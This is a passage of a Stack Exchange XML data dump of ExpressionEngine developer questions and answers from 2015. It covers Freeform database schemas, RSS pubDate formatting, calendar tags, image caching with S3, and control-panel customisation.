(&#xA;    `hash_id`                       int(10) unsigned    NOT NULL AUTO_INCREMENT,&#xA;    `site_id`                       int(10) unsigned    NOT NULL DEFAULT 1,&#xA;    `form_id`                       int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `entry_id`                      int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `hash`                          varchar(32)         NOT NULL DEFAULT '',&#xA;    `ip_address`                    varchar(40)         NOT NULL DEFAULT 0,&#xA;    `date`                          int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `edit`                          char(1)             NOT NULL DEFAULT 'n',&#xA;    `data`                          text,&#xA;    PRIMARY KEY                     (`hash_id`),&#xA;    KEY                             (`hash`),&#xA;    KEY                             (`ip_address`),&#xA;    KEY                             (`site_id`)&#xA;) CHARACTER SET utf8 COLLATE utf8_general_ci;;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `exp_freeform_email_logs` (&#xA;    `id`                            int(10) unsigned    NOT NULL AUTO_INCREMENT,&#xA;    `site_id`                       int(10) unsigned    NOT NULL DEFAULT 1,&#xA;    `date`                          int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `type`                          varchar(250)        NOT NULL DEFAULT 'user',&#xA;    `success`                       char(1)             NOT NULL DEFAULT 'y',&#xA;    `from`                          text,&#xA;    `from_name`                     text,&#xA;    `to`                            text,&#xA;    `subject`                       text,&#xA;    `message`                       text,&#xA;    `debug_info`                    text,&#xA;    PRIMARY KEY                     (`id`)&#xA;) CHARACTER SET utf8 COLLATE utf8_general_ci;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2015-08-07T14:27:22.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32570" PostTypeId="2" ParentId="32567" CreationDate="2015-08-07T15:36:30.370" Score="0" Body="&lt;p&gt;Does the future events section work stand alone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the issue may be that you have nested tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try making your future events loop into an embed and pass it segment_3.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed='future_events' entry_id=&quot;{segment_3}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:occurrences event_id=&quot;{embed:entry_id}&quot; etc....}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-08-07T15:36:30.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32572" PostTypeId="1" AcceptedAnswerId="32573" CreationDate="2015-08-07T20:12:58.610" Score="0" ViewCount="105" Body="&lt;p&gt;I'm running out of ideas, could you please tell me what am I doing wrong? When trying to validate my rss feed I get the error that pubDate is in incorrect format. Even though it looks the same as advised in specs (well to me at this stage). Can you spot the error?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:master_channel_name=&quot;blog_post&quot;}&#xA;{exp:rss:feed channel=&quot;{master_channel_name}&quot; debug=&quot;yes&quot;}&#xA;&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;{encoding}&quot;?&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;    xmlns:admin=&quot;http://webns.net/mvcb/&quot;&#xA;    xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;    xmlns:atom=&quot;http://www.w3.org/2005/Atom&quot;&amp;gt;&#xA;&#xA;    &amp;lt;channel&amp;gt;&#xA;    &amp;lt;atom:link href=&quot;http://www.yourpeakstate.com&quot; rel=&quot;self&quot; type=&quot;application/rss+xml&quot; /&amp;gt;&#xA;    &amp;lt;atom:link href='http://pubsubhubbub.superfeedr.com/' rel='hub' /&amp;gt;&#xA;    &amp;lt;title&amp;gt;&amp;lt;![CDATA[{channel_name}]]&amp;gt;&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;{site_url}&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;{channel_description}&amp;lt;/description&amp;gt;&#xA;    &amp;lt;dc:language&amp;gt;{channel_language}&amp;lt;/dc:language&amp;gt;&#xA;    &amp;lt;dc:creator&amp;gt;{email}&amp;lt;/dc:creator&amp;gt;&#xA;    &amp;lt;dc:rights&amp;gt;Copyright {gmt_date format=&quot;%Y&quot;}&amp;lt;/dc:rights&amp;gt;&#xA;    &amp;lt;admin:generatorAgent rdf:resource=&quot;http://expressionengine.com/&quot; /&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;blog_post&quot; limit=&quot;10&quot; dynamic_start=&quot;on&quot; disable=&quot;member_data&quot;}&#xA;     &amp;lt;item&amp;gt;&#xA;       &amp;lt;title&amp;gt;{exp:xml_encode}{title}{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;       &amp;lt;link&amp;gt;{page_url}&amp;lt;/link&amp;gt;&#xA;       &amp;lt;dc:creator&amp;gt;{author_name}&amp;lt;/dc:creator&amp;gt;&#xA;       &amp;lt;pubDate&amp;gt; {gmt_entry_date format=&quot;%D, %j %M %Y %H:%i:%s %Q&quot;} &amp;lt;/pubDate&amp;gt; &#xA;       &amp;lt;guid&amp;gt;{page_url}#When:{gmt_entry_date format=&quot;%H:%i:%sZ&quot;}&amp;lt;/guid&amp;gt;&#xA;       &amp;lt;description&amp;gt;&amp;lt;![CDATA[&amp;lt;img src=&quot;{main_post_image}&quot; alt=&quot;{post_title} - Your Peak State&quot;&amp;gt; {blog_content_1} {blog_content_2}]]&amp;gt;&amp;lt;/description&amp;gt; &#xA;       &amp;lt;dc:subject&amp;gt;{exp:xml_encode}{categories backspace=&quot;1&quot;}{category_name}, {/categories}{/exp:xml_encode}&amp;lt;/dc:subject&amp;gt;&#xA;     &amp;lt;/item&amp;gt;&#xA;{/exp:channel:entries} &#xA;&#xA;    &amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&#xA;{/exp:rss:feed}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is validation error: &lt;a href=&quot;https://validator.w3.org/feed/check.cgi?url=http%3A%2F%2Fwww.yourpeakstate.com%2Frss%2Farticle-feed&quot; rel=&quot;nofollow&quot;&gt;https://validator.w3.org/feed/check.cgi?url=http%3A%2F%2Fwww.yourpeakstate.com%2Frss%2Farticle-feed&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might be blind though as I've been looking at this for the past 2 hours... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It Tells me this should be the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pubDate&amp;gt;Wed, 02 Oct 2002 08:00:00 EST&amp;lt;/pubDate&amp;gt;&#xA;&amp;lt;pubDate&amp;gt;Wed, 02 Oct 2002 13:00:00 GMT&amp;lt;/pubDate&amp;gt;&#xA;&amp;lt;pubDate&amp;gt;Wed, 02 Oct 2002 15:00:00 +0200&amp;lt;/pubDate&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this is the output I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pubDate&amp;gt;Thu, 06 Aug 2015 17:50:00 +00:00&amp;lt;/pubDate&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6280" LastEditorUserId="6280" LastEditDate="2015-08-07T20:19:41.573" LastActivityDate="2015-08-07T20:27:36.790" Title="Expression Engine RSS Feed PubDate doesnt validate" Tags="|validation|rss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32573" PostTypeId="2" ParentId="32572" CreationDate="2015-08-07T20:27:36.790" Score="2" Body="&lt;p&gt;Ok I figured out what is the problem. This is the correct, pubDate format incase someone else encounters this problem in the future... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pubDate&amp;gt; {gmt_entry_date format=&quot;%r&quot;} &amp;lt;/pubDate&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I spent 2 hours for simple thing like this... Might save someone else the time in the future.. You're Welcome&lt;/p&gt;&#xA;" OwnerUserId="6280" LastActivityDate="2015-08-07T20:27:36.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32575" PostTypeId="2" ParentId="32567" CreationDate="2015-08-08T01:54:28.433" Score="1" Body="&lt;p&gt;&lt;strong&gt;For future/upcoming events and their occurrences, use &lt;code&gt;{exp:calendar:cal}&lt;/code&gt;&lt;/strong&gt;. It's the only tag that will calculate events and occurrences chronologically. Details on why &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; is the tag to use can be found in this very recommended read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want events/occurrences for the next 6 months, for example, you would do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;    date_range_start=&quot;today&quot;&#xA;    date_range_end=&quot;+6 months&quot;&#xA;    pad_short_weeks=&quot;n&quot;&#xA;    /* your other parameters */}&#xA;&#xA;    ... Your upcoming event data ...&#xA;&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-08-08T01:54:28.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32576" PostTypeId="1" CreationDate="2015-08-08T12:20:57.767" Score="0" ViewCount="257" Body="&lt;p&gt;I have a channel called &lt;strong&gt;articles&lt;/strong&gt; to post image galleries or video's or both. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the back-end there are two custom fields in that channel (1) a 'channel images' field to add multiple images to the post and (2) a matrix field to add multiple video by (a) adding a valid YouTube or Video URL into a 'video link' field OR (b) via adding the embed code into a textarea field, in which case there is a 3td field, an 'assets' field to add a thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front-end every article is &lt;strong&gt;required&lt;/strong&gt; to have a thumbnail image.&#xA;In the source code, I first check if there is an image given in the 'channel images' field, and if so, grab the first image as a thumbnail. If not, I check to see if there is a matrix row and if the 'video link' field is not empty, and if so, grab the YT of Vimdeo thumbnail via that plugin. If that field is empty, I check to see if the embed code textarea field AND assets field are not empty, and grab the assets image as a thumbnail in that case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all works except that if the fields are NOT set, the entry is not shown on the page but it IS included in the pagination and number of rendered entries.&#xA;So if I want to always display 9 entries per page (3 x 3 blocks), and one entry has OR no channel images input, OR no valid video link input, OR no embed code + assets input, I have 8 entries on the page + the pagination total entries does not add up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can not set the required field option conditionally when adding a custom field in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I pre-filter the entries based on conditional logic on multiple custom fields before they are rendered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The search parameter is not sufficient.&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2020-02-17T03:03:25.387" Title="Filter entries based on multiple custom fields (paginated)" Tags="|channel-entries|search|low-search|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32577" PostTypeId="1" CreationDate="2015-08-08T16:53:02.863" Score="1" ViewCount="131" Body="&lt;p&gt;We did a migration of an EE website from a server to DigitalOcean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After we managed to change every route and everything, it seems that we can't upload images into channel images anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it gives the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message:  Creating default object from empty value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: channel_images/ajax.channel_images.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 369&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error:  Call to undefined method stdClass::run() in /var/www/html/system/expressionengine/third_party/channel_images/ajax.channel_images.php on line 371&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.0&#xA;Latest Channel Images&#xA;The difference between the servers is that the current one has Latest PHP library.&lt;/p&gt;&#xA;" OwnerUserId="1359" LastActivityDate="2016-04-28T18:48:39.797" Title="Channel Images - Call to undefined method stdClass" Tags="|devdemon|channel-images|php-errors|server-migration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32578" PostTypeId="1" CreationDate="2015-08-08T21:09:17.760" Score="0" ViewCount="194" Body="&lt;p&gt;We’re using CE Image along with Assets images stored in S3. We’ve used curl to go through all the pages so that CE Image does its thing to the image and stores its “made” image in S3. The hopes is to cut down the load time when a user goes to that page., BUT we’re still seeing slowdown when a user visits a page with CE Image modified/stored S3 images. Other pages open up really fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like CE Image isn’t using the already existing “made” image on S3, but instead is double-checking each image over again. Does that make sense? How can we speed up the load time of CE Image assets? Particularly with pages that have a lot of images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of how we're using CE Cache to wrap CE Image/Assets tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:it id=&quot;{g:alamo_market:url_title}-slider-on-sale&quot; tags=&quot;schedules&quot; global=&quot;yes&quot;}&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;medium-12 columns&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;js-slider-6 Slider&quot;&amp;gt;&#xA;    {exp:channel:entries&#xA;      channel=&quot;schedules&quot;&#xA;      disable=&quot;categories|member_data|pagination&quot;&#xA;      dynamic=&quot;no&quot;&#xA;      status=&quot;{global:status}&quot;&#xA;      entry_id=&quot;{segment_3}&quot;&#xA;    }&#xA;      {schedule_on_sale}&#xA;        {schedule_show}&#xA;        &amp;lt;div class=&quot;Card Card--overlay&quot;&amp;gt;&#xA;          {show_poster var_prefix=&quot;file&quot;}&#xA;            &amp;lt;img src=&quot;{exp:ce_img:pair src=&quot;{file:url}&quot; width=&quot;396&quot; height=&quot;594&quot; crop=&quot;yes&quot; save_type=&quot;jpg&quot; allow_scale_larger=&quot;yes&quot; quality=&quot;81&quot; hide_relative_path=&quot;yes&quot;}{made}{/exp:ce_img:pair}&quot; alt=&quot;&quot;&amp;gt;&#xA;          {/show_poster}&#xA;          &amp;lt;a class=&quot;Card-overlayContent&quot; href=&quot;{site_url}show/{url_title}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;Card-overlayText&quot;&amp;gt;&#xA;              &amp;lt;h5 class=&quot;Card-overlayHeading&quot;&amp;gt;{title}&amp;lt;/h5&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/a&amp;gt;&#xA;          &amp;lt;div class=&quot;Card-overlayButton&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;button tiny expand u-noMarginBot&quot; href=&quot;{site_url}show/{url_title}&quot;&amp;gt;Buy Tickets&amp;lt;/a&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/schedule_show}&#xA;      {/schedule_on_sale}&#xA;    {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:ce_cache:it}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="454" LastEditorUserId="454" LastEditDate="2015-08-11T02:27:28.110" LastActivityDate="2015-08-11T02:27:28.110" Title="CE Image, Assets, S3 and Caching" Tags="|assets|performance|ce-image|cache|s3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32579" PostTypeId="1" CreationDate="2015-08-09T09:05:09.693" Score="0" ViewCount="10" Body="&lt;p&gt;Having an issue with a site duplicating its base URL during a search result or a form submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie: After searching for a term or phrase I receive the following:&#xA;&lt;a href=&quot;http://www.domain.com/http://www.domain.com/search/&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/http://www.domain.com/search/&lt;/a&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a snipet of code which outputs the search form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;search_box&quot;&amp;gt;&#xA;        {exp:search:simple_form channel=&quot;pages|languages|staff|video&quot; result_page=&quot;search/index&quot; search_in=&quot;everywhere&quot; results=&quot;20&quot; where=&quot;all&quot;}&#xA;        &amp;lt;input id=&quot;search_box_input&quot; name=&quot;keywords&quot; type=&quot;text&quot; onClick=&quot;if(this.value=='search for articles, news, videos, and more') this.value = ''&quot; onBlur=&quot;if(this.value=='') this.value = 'search for articles, news, videos, and more'&quot; value=&quot;search for articles, news, videos, and more&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;image&quot; src=&quot;{site_url}/img/bt_search.png&quot; id=&quot;search_button&quot; name=&quot;submit&quot; alt=&quot;Submit Search&quot; /&amp;gt;&#xA;        {/exp:search:simple_form}&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6549" LastEditorUserId="6549" LastEditDate="2015-08-11T14:09:10.540" LastActivityDate="2016-03-16T20:28:11.977" Title="Searching and Form submissions Duplicating site URL" Tags="|site-url|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32580" PostTypeId="1" AcceptedAnswerId="32581" CreationDate="2015-08-09T16:58:59.877" Score="0" ViewCount="25" Body="&lt;p&gt;I just updated tag to the latest version of Tag and noticed a placeholder &quot;Press Enter after each Tag&quot; has been added to the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I customise the the text here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(All the fields across the site have placeholders instead of titles, so would be great to do this here too.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2015-08-09T23:34:30.433" Title="Solspace Tag custom placeholder" Tags="|solspace|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32581" PostTypeId="2" ParentId="32580" CreationDate="2015-08-09T23:34:30.433" Score="1" Body="&lt;p&gt;The answer is clear. You have two options. First, you can modify core files of Tag. This is totally not recommended, because you'll have to re-edit these files after every Tag module update... but for what you're looking to do, it's a pretty simple re-hack. You need to edit this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;you_web_root/system/expressionengine/third_party/tag/language/english/lang.tag.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Go to line 350, and it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'press_enter_after_each_tags' =&amp;gt;&#xA;&quot;Press [Enter] after each tag&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And edit the value of the key &lt;code&gt;press_enter_after_each_tags&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your other option, which will probably prevent you from having to edit that file after every Tag module update, is to make an EE Accessory. This allows you to inject code on the Control Panel pages. Basically, you'd insert some code on the edit_entry pages that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.tag_input').attr('placeholder', 'Whatever you wanted for a placeholder');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the Accessory Development reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/accessories.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/accessories.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-09T23:34:30.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32582" PostTypeId="2" ParentId="32578" CreationDate="2015-08-10T00:14:07.910" Score="1" Body="&lt;p&gt;A good way to do this is to cache the output of the tag. You can use built-in EE tag caching or something like CE cache, either with fragment caching or full page static. This way you're getting the resized URL and CE Image doesn't keep hitting S3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've had extremely high traffic sites where we actually create a local redis key/value store to keep track of what's already been uploaded to S3 and modify CE Image to check that before doing anything, but that only becomes relevant on multiple front-end instance sites. Before that you're probably best off just with regular fragment or page caching. &lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-08-10T00:14:07.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32583" PostTypeId="2" ParentId="32541" CreationDate="2015-08-10T04:04:02.860" Score="0" Body="&lt;p&gt;As of version &lt;a href=&quot;https://www.exp-resso.com/docs/release_notes.html#store_2_5_0&quot; rel=&quot;nofollow&quot;&gt;2.5.0&lt;/a&gt; of Store order id's are assigned after an order is completed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Changed the way order_id's are generated. Only completed orders are&#xA;  given a order id. Order id's are sequential per site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The easiest method would be to setup an email template for your site admins that sends the relevant order details from Store when an order is completed instead of relying on the PayPal payment emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would allow you to also use any Store fields for things like order items, shipping/billing details too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to go this route you would need to use the &lt;a href=&quot;https://www.exp-resso.com/docs/orders_tag.html&quot; rel=&quot;nofollow&quot;&gt;orders tag&lt;/a&gt; pair.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-08-10T04:04:02.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32584" PostTypeId="2" ParentId="32531" CreationDate="2015-08-10T04:06:04.597" Score="0" Body="&lt;p&gt;This does indeed sound like a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bug reports are best sent directly to the developer along with the version of Store you are using and the version of EE and any steps that you need to recreate the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can contact DevDemon by either email (support@exp-resso.com) or by the support &lt;a href=&quot;http://www.devdemon.com/support/form/&quot; rel=&quot;nofollow&quot;&gt;form&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-08-10T04:06:04.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32585" PostTypeId="2" ParentId="30695" CreationDate="2015-08-10T06:48:21.427" Score="0" Body="&lt;p&gt;Sorry it took too long, if anyone wanted to do this and have multiple connections just follow these steps like I did: &lt;a href=&quot;http://tutsnare.com/connecting-multiple-database-in-codeigniter/&quot; rel=&quot;nofollow&quot;&gt;http://tutsnare.com/connecting-multiple-database-in-codeigniter/&lt;/a&gt;. hope it helps&lt;/p&gt;&#xA;" OwnerUserId="3511" LastActivityDate="2015-08-10T06:48:21.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32586" PostTypeId="1" AcceptedAnswerId="32587" CreationDate="2015-08-10T06:52:49.060" Score="0" ViewCount="36" Body="&lt;p&gt;I've checked the existing Language Packs for ExpressionEngine and to no avail there is none for Japanese. Does anyone know where I can get this?&lt;/p&gt;&#xA;" OwnerUserId="3511" LastActivityDate="2015-08-10T07:17:54.100" Title="Japanese Language Pack" Tags="|multi-language|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32587" PostTypeId="2" ParentId="32586" CreationDate="2015-08-10T07:17:54.100" Score="0" Body="&lt;p&gt;Sometimes you can find these things on Github. I found one: &lt;a href=&quot;https://github.com/nicolasbottari/japanese.ee2_language_pack&quot; rel=&quot;nofollow&quot;&gt;https://github.com/nicolasbottari/japanese.ee2_language_pack&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-08-10T07:17:54.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32588" PostTypeId="2" ParentId="32576" CreationDate="2015-08-10T08:04:16.153" Score="0" Body="&lt;p&gt;If you're gonna use Low Search, then the only way to do this properly, is to use a &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/create&quot; rel=&quot;nofollow&quot;&gt;custom filter&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-08-10T08:04:16.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32589" PostTypeId="1" CreationDate="2015-08-10T09:14:25.990" Score="0" ViewCount="64" Body="&lt;p&gt;Is it possible to output the previously selected values using 'mp_data' and freeform multipage with some HTML separating the values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I have a field with dates in, a user selects some dates, and on the second page either displays the values they selected OR if no values were selected show another 'textarea' field asking why they haven’t selected any dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, it just outputs all the values raw.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Monday 14th September Tuesday 15th September Wednesday 16th September Thursday 17th September Friday 18th September&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add a comma or HTML element to separate them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Desired Result:&#xA;Monday&amp;lt;br/&amp;gt;&#xA;Tuesday&amp;lt;br/&amp;gt;&#xA;Wednesday&amp;lt;br/&amp;gt;&#xA;&#xA;Current Code:&#xA;{if freeform:mp_data:FIELD_NAME}{freeform:mp_data:FIELD_NAME}&amp;lt;br/&amp;gt;{/if}&#xA;&#xA;Actual Result: &#xA;MondayTuesdayWednesday&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3335" LastEditorUserId="3335" LastEditDate="2015-08-10T12:11:38.470" LastActivityDate="2016-06-08T21:20:41.130" Title="Add HTML inbetween, {freeform:mp_data:FIELD_NAME}" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32590" PostTypeId="2" ParentId="24810" CreationDate="2015-08-10T11:02:48.650" Score="1" Body="&lt;p&gt;Thanks for that , same thing happened to me when I turned on cloudflare cdn for my site. I did it via Cname so it changed my visible ip and caused the problem with all of my forms. Commenting those lines sorted it out for me. I am going to submit a ticket to devdemon to see if they have a more structured solution&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-08-10T11:02:48.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32591" PostTypeId="1" CreationDate="2015-08-10T11:58:59.367" Score="0" ViewCount="33" Body="&lt;p&gt;I am creating a module for a simple form submission. In admin, I am showing a table view of all entries. I have a specific member group &quot;pitch&quot; who can access only that module. In addition they can't access the &quot;Export in CSV&quot; functionality for listing. But super admin can do all things.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I create a custom privilege for &quot;pitch&quot; member group so that they can't access &quot;Export&quot; button.&lt;/li&gt;&#xA;&lt;li&gt;OR hide button if &quot;pitch&quot; member login in CP&lt;/li&gt;&#xA;&lt;li&gt;How can we do this through module? &lt;/li&gt;&#xA;&lt;li&gt;Please provide a reference url or a piece of code.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6552" LastEditorUserId="6552" LastEditDate="2015-08-10T12:39:02.410" LastActivityDate="2016-06-08T22:21:16.140" Title="How can we create custom capability for a member group so that we can check in our module and give access to it" Tags="|members|control-panel|module|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32592" PostTypeId="1" AcceptedAnswerId="32593" CreationDate="2015-08-10T12:57:05.357" Score="0" ViewCount="300" Body="&lt;p&gt;For some reason im getting these errors whenever i interact with the file manager&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined variable: whitelist&#xA;Filename: libraries/Mime_type.php&#xA;Line Number: 48&#xA;&#xA;A PHP Error was encountered&#xA;Severity: 4096&#xA;Message: Argument 1 passed to EllisLab\ExpressionEngine\Library\Mime\MimeType::addMimeTypes() must be of the type array, null given, called in /home/forge/default/system/expressionengine/libraries/Mime_type.php on line 48 and defined&#xA;Filename: Mime/MimeType.php&#xA;Line Number: 82&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: Mime/MimeType.php&#xA;Line Number: 84&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It wont let me upload new files, or synchronize directories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its running EE 2.10.1, on a laravel forge made server.  I checked all the folder permissions and it looks fine? any other 